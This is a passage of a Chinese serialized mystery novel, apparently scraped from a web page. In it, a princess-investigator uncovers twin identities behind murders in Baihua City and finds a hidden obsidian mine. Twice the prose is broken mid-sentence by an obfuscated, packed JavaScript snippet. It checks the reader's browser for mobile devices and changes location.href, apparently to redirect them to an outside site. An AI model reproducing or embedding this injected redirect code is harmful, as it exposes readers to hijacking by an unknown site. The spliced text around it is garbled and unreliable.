“这奴契又转手到了秦师一手上,看来陈姨也不知了。”裴瑾仔细盯着陈素的表情。 “真是作孽……我可怜的阿月,可怜的兰芝……”陈素哭得眼睛红肿,眼看着又要背过气去,情绪很自然,裴瑾也不好再多问什么。 陈素拽着裴瑾的手问道:“阿景,我可否安葬兰芝?” 孙兰芝是当着所有人被秦师一虐杀致死的,并无验尸的必要,况且孙家人都已死光。裴瑾看着陈素和李筠节悲痛不已的模样,点了点头。 陈素和李筠节带着孙兰芝的尸体离开了。 被陈素这么一打岔,裴瑾再看向街道之时,那个陌生男子已经不见了踪影,她却总觉得这男子的身影极其眼熟。 “殿下劳累了一整晚,先回去休息吧。”张煦看见她眼角眼下泛起乌青,轻声提醒道。 “嗯。” 姜越漫无目的地走在街道上,孙兰芝也死了。 姜月、孙兰芝、陈渊渟…… 一开始她以为陈渊渟杀了姜月,没想到陈渊渟死了,孙兰芝成为嫌疑人。 到后来孙兰芝也死了,而她的卖身契是被姜月拿走的,却到了秦师一的手里。好似姜月想暗害孙兰芝一般,如此环环相扣,形成了闭环。 就像有人在暗中拨动琴弦,操纵一切一般。事情有如此巧合吗?所有嫌疑人都变成了受害者。 若是如此,那原主又是怎么回事呢? 师兄还在悬案司牢里,今日,陈素也就是原主的母亲出现得如此及时,真的是巧合吗? 一整晚未曾休息,此刻的夜,黑得浓稠,像是沼泽一样将人拖入其中,无法呼吸,天上的星子寥寥几颗,照不亮前进的路。 忽然,一个丫头拦住了她的去路:“二小姐,夫人让你回去一趟。” 姜越一脸懵,心脏咚咚咚地响,夫人——是陈素吗?今晚,她来秦府果然不是偶然。 19. 陈素 姜越跟着丫头,回到了陈府。 “啪!”等着她的是陈素的一巴掌,陈素厉声喝问:“是不是你杀的阿月?” 姜越被这巴掌打懵,她迟疑了。 陈素露出“果然如此”的眼神。 姜越有点慌,她这是要把她交出去吗? 周围只有陈素和一个丫鬟,守卫稀松平常,以她的武功逃跑,应该没有问题。 所以她没有动,她满头雾水,这是个机会,也许陈素知道点什么。 陈素拳头硬了又松,胸口剧烈地起伏着,眼里神色复杂。 就在姜越以为陈素要对她动手,准备跑路时,陈素从身边丢了一个包袱过来。 “这是银票和文牒,你走吧,离开百花城,走得远远的。” 她以为陈素要将她捉拿归案,毕竟看样子原主不是个受宠的,周围没多少人知道她的存在。 可陈素这么一说,她反而不想走了。 “我没有杀姜月。”姜越说。 陈素露出一副痛心疾首的表情:“姜越,你什么情况,难道母亲不清楚吗?何必说谎骗我。” 姜越连忙否认三连:“我不是,我没有,不是我干的!” 陈素说:“你当我为什么要将你送去伍丹山?” 姜越眼前一亮,她也很好奇。 陈素没有看她,陷入回忆: 姜越与姜月是双胞胎。 可是妹妹姜越自小便患离魂症,有时是正常小孩,有时候却像换了一个人一般,常常会失忆,忘记之前做过的事情。 后来陈素和姜鸣鹤实在没有办法,求到伍丹山去,才找到了应对之法。 伍丹山的道长要求将姜越留在山上修行,且尽量向外人隐瞒姜越的存在。 随着时间的推移,姜越也渐渐变得正常,再也没有出现小时候的情况。 陈素看向姜越:“原以为你已经大好,没想到……” 她未尽的话语消失在空气里,姜越浑身冰凉,不是因为这些话,而是她脑子里依稀浮现出,一些久远的画面。 她根本不是才穿到原主身上的,她是胎穿! 小时候,大多数时间都是她在主宰身体,但那会儿年纪小,才两三岁,不是在睡觉,就是在咿呀学语。 等到了后来,她总会发生失忆的情况,她渐渐发现这具身体里有两个人。 再后来她被送去了伍丹山,陷入沉睡。 所以她的身体真的有原主和她自己对吗?所以原主真的是在她不知道的时候杀的人?! 所以她真的是凶手吗?? 陈素看到她的眼神,苦笑:“当年你也是这样。” “你三岁那年,偷偷将鸡的脖子扭断。” “待我们询问你时,你却疑惑不解,无辜可怜。你无论如何也不承认,即使你手上还沾有血迹,鞋底还沾着鸡毛。你父亲说,你……是天生的罪人,冷血冷情,十分危险。” “我却觉得你是生病了。” “没想到……原以为你在伍丹山已经大好,没想到……我的阿月,娘对不起你。” “若不是我一意孤行,我的阿月怎么会死!” “那日在宴会上的人,是你吧?” 姜越猛地抬头。 “果然是你,母亲怎么能不熟悉自己的女儿呢?你的一言一行、一举一动都与你姐姐大不相同。” 姜越呼吸急促,她总觉得哪里不对劲,可是却又无力辩驳,特别是脑海浮现的记忆,告诉她,她确实和原主共享一个身体许多年。 可是这么久,她都没有再苏醒过。 她想垂死挣扎一下:“我觉得我没有杀姜月。”她将之前和张道衡的对话告诉陈素。 她说:“当时我是没有记忆的,那么张道衡面对的,应该是另一个我。可是另外一个我,却是要来给姐姐报仇的,至少从这一点上看,另一个我,没有杀姐姐的动机。” “而我……没有亲手杀过任何一个人。” 陈素听后开始沉思,她说:“也就是说,至少现在的你没杀阿月,是吗?” 姜越点头。 陈素叹息:“还有一点你可能不知道,陈渊渟曾向我提亲。不是你姐姐姜月,而是你姜越。” 姜越大惊,怎么会! 如此一来,所有的事情都要推翻了。 本来她以为陈渊渟与姜月还有孙兰芝之间有三角恋关系。 陈渊渟和孙兰芝是新欢,是有杀姜月的动机的,但若是陈渊渟根本就不喜欢姜月,喜欢的是原主姜越,那整个事情就完全不同了。 她觉得自己像湖心的一叶扁舟,周围都是浓雾,看不清方向,辨不清未来。 “你若是还不愿意走,那后日巳时来这里,我有事与你说。” “好。” * “陛下,陛下,是蜀郡奉密卫寄来的!”魏公公乐呵呵地呈上密报。 自从公主离开后,陛下总是气鼓鼓的。 “哦?是小九送来的?她知道错了吗?” 魏公公满头大汗,陛下什么都好,就是嘴硬。明明心里想着公主,却非要公主道歉低头。公主也是,自己的父皇低个头怎么了?这俩父女都一个样,固执! “倒也不是……要不您还是看一下?” 皇帝陛下“哼”了一声,手却很诚实,很快撕开信封看了起来。 一开始只是吃坏了肚子,皇帝陛下皱眉不语。 看到裴瑾被李筠节冤枉入狱,气得差点直接把桌案拍断:“好你个李贵!悬案司简直无法无天!” 在看到几人接连死亡,秦师一当众羞辱悬案司,不把公主放在眼里,陛下却渐渐,熄了火气,眸色深沉了起来。 “福宝,你说这蜀郡……如何?” 魏公公名为福宝,能做到陛下跟前的红人,也是有两把刷子的。陛下是做实事的人,不爱那些虚头巴脑的东西,最厌恶踢皮球、油腔滑调,一问三不知是最最要不得的。 福宝略沉思回答:“陛下您也别生气,照如今这形势看来,公主当初执意去蜀郡也是有一定的道理。只是这蜀郡世家盘根错节,您与公主生气是关起门来的事,总不能让外人欺负了殿下去。” 这话说到陛下心坎里了,又给了台阶,皇帝就顺着台阶往下走。 他扔出一个黑色令牌。 魏公公赶紧接过。 “奉密卫指挥使令牌。代天子行事,可调令全国奉密卫,可先斩后奏,你速速拿去给小九。” 魏公公一脸喜气地接过:“陛下对公主可真是关爱备至,公主即便嘴上不说,心里也一定会感受到,陛下您皇恩浩荡、父爱如山呢。” “她要知道感谢就好了,哼!”陛下冷哼一声。见魏公公即将退出去,他又说:“等等,让裴十一亲自送去,让他帮着小九一点。” “知道了。”魏公公赶紧带上令牌离开。 * 寅时未到,裴瑾已经醒来。她坐在桌前,桌上放着一张布满折痕、皱巴巴的名单。 “殿下怎么不再休息会儿?” “十七,我睡不着,这件事不简单。凶手、凶器、动机、手法……多掌握一些信息,也许就能多救一个人。” “殿下别难过。” “我不难过,都是凶手的错,我一定要把他揪出来绳之以法。” “殿下,这是什么?” “我在检查陈渊渟花车时,听到车角的风铃有一支声音不对,避开人查看,发现里面藏着一张名单。我猜想,是陈渊渟死时临时藏的,这一定很重要。” “于二狗、贾耀祖、祝大壮……” “这都是些什么名字?听起来不像是世家或是官员。”张煦顿了顿问道:“殿下为何要偷偷藏起这份名单?” “今日秦师一的事,给了我提醒,这蜀郡水太深,我谁也不敢信,我只有你和寒木了。” 张煦听得耳根一红,心里暗骂自己都在想些什么。 “走吧,我们去看看被抓的人皮面具。” 两人走出门来,之前见过的疯子老爹,拉着张煦不放手,嘴里喊着什么“小梅花”。 “小梅花你回来了?爹爹知道你会回来的。” 搞得张煦手足无措。 隔壁好心人将疯子老爹拖走,解释道:“这小梅花便是疯子老爹死去的儿子。” 裴瑾好奇:“为何要叫他小梅花?听起来倒像个姑娘。” 邻居挠挠头:“好像是……郑家小子有什么胎记吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124787|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,长得像个小梅花,我们大家都这么叫。” “胎记……” 事情乱糟糟的一堆,裴瑾想了一下,便抛之脑后。 悬案司地牢。 她来得很早,没想到,李贵和李筠节已经到了,看样子已经审讯过一番。 李筠节很颓废,应该是没问出什么东西。 父子两人将裴瑾、张煦请进审讯室。 “殿下,这是伍丹山的张道衡,其余的,问他,他一概推说不知,这个人死都不交代。” 张道衡身上没有伤痕,裴瑾挑一下眉问道:“这次怎么没有用刑?” 李筠节一脸尴尬,挠了挠头:“不是殿下教我的吗?”想到当时裴瑾训他的场景,李筠节现在还觉得拔凉拔凉的。 李贵赶紧说道:“此人不像凶手。姜月死时、陈渊渟花车巡游,他都有不在场证据。而且他并非百花城人士,不可能如此熟悉铜轨的设计。” 裴瑾闻言,转头问张道衡:“阁下长得如此俊俏,却为何带着这人皮面具?可是有什么见不得光的事?” 张道衡被捆着,气色倒也不错,一脸不好意思地说:“在下生得清秀,每次入城总会因相貌招来困扰,这才戴上普普通通的人皮面具,悬案司这也要管?” 说完他还冲裴瑾眨了眨眼:“真是有点不近人情。” 裴瑾看向人皮面具。 这张道衡神情自若,不在场证据也很充分,一看便是早有准备,想来也是问不出什么的。 她只是对张道衡说:“我听迎春阁的妈妈说,你还有个弟弟。你不知道,也许你弟弟知道。” 张道衡脸色一僵,但仍然矢口否认,一副死猪不怕开水烫的样子。 裴瑾给张煦打了个眼色,然后她带着李贵和李筠节离开。 裴瑾看到身后的两人眼巴巴地望着她,她突然说了一连串的人名:“于二狗、贾耀祖、祝大壮……” 李贵神色突然变得很奇怪。 “李司正怎么了?” 李贵迟疑道:“殿下这是从哪里得知的名字?” 裴瑾看着他笑而不答,只是问:“李司正认识这些人?” 李贵说:“其他人倒也不认识,但于二狗、贾耀祖、祝大壮几人,乃是百花城战死的军士。如今西戎连年征战,南越又屡屡进犯,蜀郡去世军士的抚恤金有时都发不过来,在下是被赵太守拉去帮过几次忙而已,恰好记住了这几人。” 确实如此,在裴瑾的记忆里,连年征战,死伤者甚众,军备抚恤金花销不少,父皇为此也很是头疼。 不过像蜀郡这样发抚恤金发不过来,还需要拉着悬案司司正一起帮忙的,倒是少有耳闻。 “殿下,这些名字,可是有什么不对?”李贵问。 “嗯……无事,只是听街坊邻居提过这些人,好奇罢了。” 李贵一脸愁容,人死了不少,案子却一点进展也没有。 裴瑾拍拍他的肩,让他好好休息。 “李司正倒也不必如此忧心,也不是每个案子都一定能破的嘛。” 李贵重重叹气,眉间的皱纹能夹死苍蝇,但实在无法,他还是拉着李筠节离开了。 另一边,张煦本是被裴瑾留下打探消息的。 却见张煦和张道衡对视一眼,张道衡先撇开双眼,嗤笑一声:“原来是做了朝廷的走狗。” 张煦没有回答,冷冷地问道:“你是在帮谁掩盖?” 张道衡一脸无辜:“在下只是路过,你们并无证据,我自可以安全离开。怎么,张家不要的流浪狗,也学会血口喷人了?” 说到这里,他歪了歪头对着张煦说:“看你这样,你身边的那位公主殿下,并不知道你的真实身份吧?你说如果……” 张煦看着他,眼神冰冷:“我有自己的任务,你不要泄露我的身份。” 张道衡不屑:“张家的崽子,玩得是越来越脏了。” “算了。”张煦被挑动的情绪归于平静:“张道衡,殿下聪慧过人,算无遗策,你若是不想卷入其中,还是早早交代清楚为好。” “在下已经说过,我只是路过的无辜路人罢了。” 见实在问不出什么,张煦又担心张道衡张嘴胡说,只好转身离开。 20. 伍丹观 辰时。 裴瑾回到小院,左边坐着张煦,右边坐着寒木,中间的桌子上摆着几样东西。 第一个是一个面团,被裴瑾拍得扁扁的,象征着人皮面具张道衡。 这张道衡在伍丹山修行,她怀疑那位所谓的弟弟才是凶手。 第二件是之前牢里,先锋将军的布带地图,寒木说是在秃头山,而秃头山正好又在伍丹山附近。 第三件是陈渊渟遇害花车风铃中找到的名单。听李贵的意思,这份名单上都是战死的军士。不知道有什么用,但她认为极为重要,重要到陈渊渟死时,第一反应并非是求救,而是想方设法将它藏起来。 若是求生,花车里的挣扎痕迹,便不会如此干净。 而第四件则是孙兰芝的古琴。昨日孙兰芝死前一直望着古琴,裴瑾恻隐之心,将古琴带走,本欲将琴与孙兰芝葬在一起。 谁料事发突然,李筠节和陈素带走了孙兰芝的尸体,古琴却被遗忘,留在了裴瑾这儿。 裴瑾睡前本想帮她将断掉的古琴粘好。 却在跳动的烛火下发现古琴琴身刻有纹路。 竟然也是一份地图。 经过寒木辨认,这个地图所在的位置,是在伍丹山和秃头山之间。 真是奇哉怪也。 凶手、先锋将军、被谋杀的陈渊渟、被虐杀的孙兰芝……他们所有的人都指向了这一块地方。 那便是龙潭虎穴,裴瑾也得去看看了。 “寒木,你准备好马车,不要惊动任何人,我们速去速回。” “悬案司也要瞒着吗?” “对,所有人。” “对了,殿下。陛下密信,将奉密卫指挥使一职暂时给了您,您现在可以指挥奉密卫办事儿了。” 裴瑾一愣,微笑:“父皇倒还有点数。” “寒木,你去帮我布置几件事情,吩咐下去之后,你就赶紧准备好马车,我们现在出发。” “是,殿下。” 路线是张煦定的,从蜀郡百花城往北走,先到伍丹山,再路过孙兰芝地图所在的山谷,然后来到百花城西北边的秃头山,最后绕近路回到城中。 如果速度快,也就一日的功夫。 时值正午,裴瑾几人已经来到了伍丹山。 伍丹山山顶,是一座道观——伍丹观。 还未走近,就听到观中道士们的练武声。 门口站着一个童子,玉雪可爱,扎着两个小啾啾。 “麻烦通传一下,我们是蜀郡百花城悬案司的人,有事向观主请教。” “各位善信,请稍等。”童子笑呵呵地进去了。 怪可爱的。 过了一会儿,小童子出来,看了一眼众人,没说话,板着脸站在那,也不理他们。 裴瑾看看张煦,又看看寒木,见两人都是一脸疑惑,她清了清嗓子说道:“小道长,请问观主怎么说?” 小童子一脸莫名其妙地看着裴瑾:“善信在与我说话?” 声音奶呼呼的,语气冷冰冰的。小道长颇有一些演戏的天赋呢,反差如此之大。 “刚请小道长通传,有要事要见观主,不知现在可否一叙?” 小道童的脸一下子就黑了,倒不是对着裴瑾黑的,他颇为尴尬地抿嘴笑了,婴儿肥的脸上还挂着两个酒窝,他严肃认真地说:“善信请稍等,我这就去通传。” 寒木心直口快:“给老子嘞,这小道童是在逗我们耍嗦?” 裴瑾笑着摇摇头。 很快小道童便出来,带他们去见观主。 几人说明来意,观主也不敢隐瞒: “张道衡是我师弟,至于几位说的弟弟,贫道倒是没有见过。师弟平时,常在观中清修,与家人并不往来。” “那张道长可有什么相处较好的师兄师弟?” 观主笑得云淡风轻:“师弟之下再无男弟子,与师弟关系最好的,是小师妹。” “小师妹?” “是的,越师妹。” 裴瑾沉思,轻抿了一口茶,突然问到:“敢问这岳师妹可是月亮的月?” “非也,是三千越甲可吞吴的越。” “可否告知这越师妹的来历?家住何处?父母如何?” 观主摇摇头:“我伍丹观众人皆斩断俗缘,不问家事。越师妹自小在伍丹观长大,贫道也只知道越师妹的一个名。至于当年是何人送越师妹来的,便只有师父知道了。” “那敢问道长的师父……” “已经仙逝了。” “节哀。” “此乃好事,无碍。” 裴瑾喝下一口清茶,垂眸沉思了一会儿,问道:“敢问道长,您说的这位越师妹,可是丹凤眼鹅蛋脸,身高八尺,比许多男子都高?” “大人怎知?” “因缘际会,见过一面而已。也叨扰许久了,裴某这就告辞。” 观主亲自将三人送了出来。 裴瑾坐上马车,前往下一个地点——孙兰芝古琴标记的地址。 寒木憋了一肚子的话,裴瑾轻声说:“沐沐想问什么?” “殿下怎么知道这位越师妹长什么样,还知道她的身高?这不会也是推断出来的吧?” 寒木说这话时神色夸张,一脸见鬼的表情。 “倒不是推断,只是想清楚了一件事。” “什么事?” “来百花城第一日,那位假姜月,是怎么假扮成阿月,出现在百花宴上的,又是怎么消失的。” “啊?”要不是寒木一路都跟着公主,她就信了,她怎么没看出来? 裴瑾莞尔一笑:“十七、沐沐,你们刚注意到门口的小童子了吗?” 寒木听完立马眉毛一竖:“等一下,还别说,这小童子,还真是身具蜀郡人士的风范呢——神戳戳的。” 裴瑾听后笑得眯了眯眼,她又看向张煦:“你觉得呢,十七?” 张煦沉思了一下,摇了摇头。 裴瑾清了清嗓子,轻咳一声,像骄傲的猫咪努力压着摇摆的尾巴一样: “你们觉不觉得,今天这一幕似曾相识?” 寒木和张煦对视一眼:并没有。 裴瑾解释道:“这童子进去出来之后,怎么就变了个人似的?这与我刚来蜀郡,见到阿月时的感受一模一样。为什么阿月人还是那个人,可是行为举止,连手上的茧,都与之前大不相同呢?” “我一直想不通这个地方。” “直到今日,我见到这两位童子,兴许是两位小道长年纪甚小,表情动作差距太大,这才点醒了我。” “等等殿下,你刚说什么,两位?”寒木出声道。 “没错,是两位。”张煦恍然,“第一位小道长的手受伤,有道疤痕。” “你这个奸诈小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124788|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人咋个不提醒我?搞半天,就我一个人被蒙在鼓里哈?”寒木夸张地说道,未尝不是在调节近日沉闷的气氛。 张煦勾了勾嘴角:“我知道了,姜月与这童子一样,也是双胞胎。” 寒木也不是个蠢人,她想到,今日殿下询问观主,那位越师妹的长相身高,不就是照着姜姑娘问的吗? 百花宴上见到的姜姑娘,是在姜月死之后出现的,且没有带人皮面具,那只能说明,她本身就和姜月长得一模一样,这不是双胞胎是什么? 只是他们一开始一直陷入死角,以为姜月是独女,才没有想到这回事。 而今日观主说姜月是从小被送上伍丹山的,那么知道这件事的人很少,大家都不知道姜月是双胞胎,也就有理可寻了。 可是旁人不知道就算了,为何陈家人都没有提起呢? 哪怕陈家人不知道,陈素总知道吧?她为什么不说?她不想为自己的女儿报仇吗? 裴瑾摸摸下巴:“将心比心,若是你的双胞胎女儿,一个杀了另外一个,你会亲手把杀人者交给悬案司吗?” 寒木和张煦异口同声、斩钉截铁地点头:“会。” 裴瑾扯了扯嘴角,她就多余问,这俩都不是什么正常人。 她跳过这个接着说:“也许她是想保住姜越,还有可能陈素也是此事的参与者。等我们今日回去,再去仔细调查陈素。” “这陈素也是狡诈。想着她丧女之痛,我们都不敢仔细盘问她,竟让她钻了这个空子。”寒木气鼓鼓地说。 “此事陈素也不一定是参与者,等我们将秃头山和山谷探查一遍,也许事情就会清晰起来。” 说话间他们已经来到了伍丹山和秃头山之间的山谷。 前面出现两条岔道,一条是前往秃头山的路,另一条则写着“废弃”。 张煦调转马头准备前往废弃的道路查看,裴瑾想了想,制止了他。 “十七,你把马车藏好,我们走着过去看看。” 既然道路上写着“废弃”,而孙兰芝至死都要将这个地点交给她,说明这个地方,是别人不想让外人发现的,那么步行悄悄去,便更好。 事实证明,她的猜想是对的。 沿岔路前行不超过半盏茶,就遇到了高高的围墙和铁门,门口守着的人竟然穿着盔甲,带着长矛。 本朝有律令,普通人不能私造武器。此前,裴瑾曾查过百花城城志,此处并非军事重地或要塞。 不管是官兵还是私兵,都显得十分诡异,况且岔路之前还写的是此路已经废弃,但实际上并没有。 裴瑾给张煦使了个眼色,张煦立马会意,一个闪身人就不见了。 十七还挺好用的。裴瑾想,跑得快,功夫高,探查能力也很好。 想到这,耳边传来酸溜溜的声音:“殿下怎么不派我去?我在奉密卫那可是专职监察,能力不比那裴十七强?” “好木木,我知道的,但今早你忙坏了,这不是想让你休息休息吗?” 寒木闻言,乐呵呵地挽着裴瑾。 不多时张煦回来了,他说:“殿下,此处是矿地。目之所及,约有上百名矿工,矿地绵延数十里。石料珍惜少有,若是我没看错,观其色泽,似乎是黑曜石一类的矿。” “黑曜石?有什么用?” 寒木说道:“这黑曜石产量极少,在西戎,经常被用作武器材料。”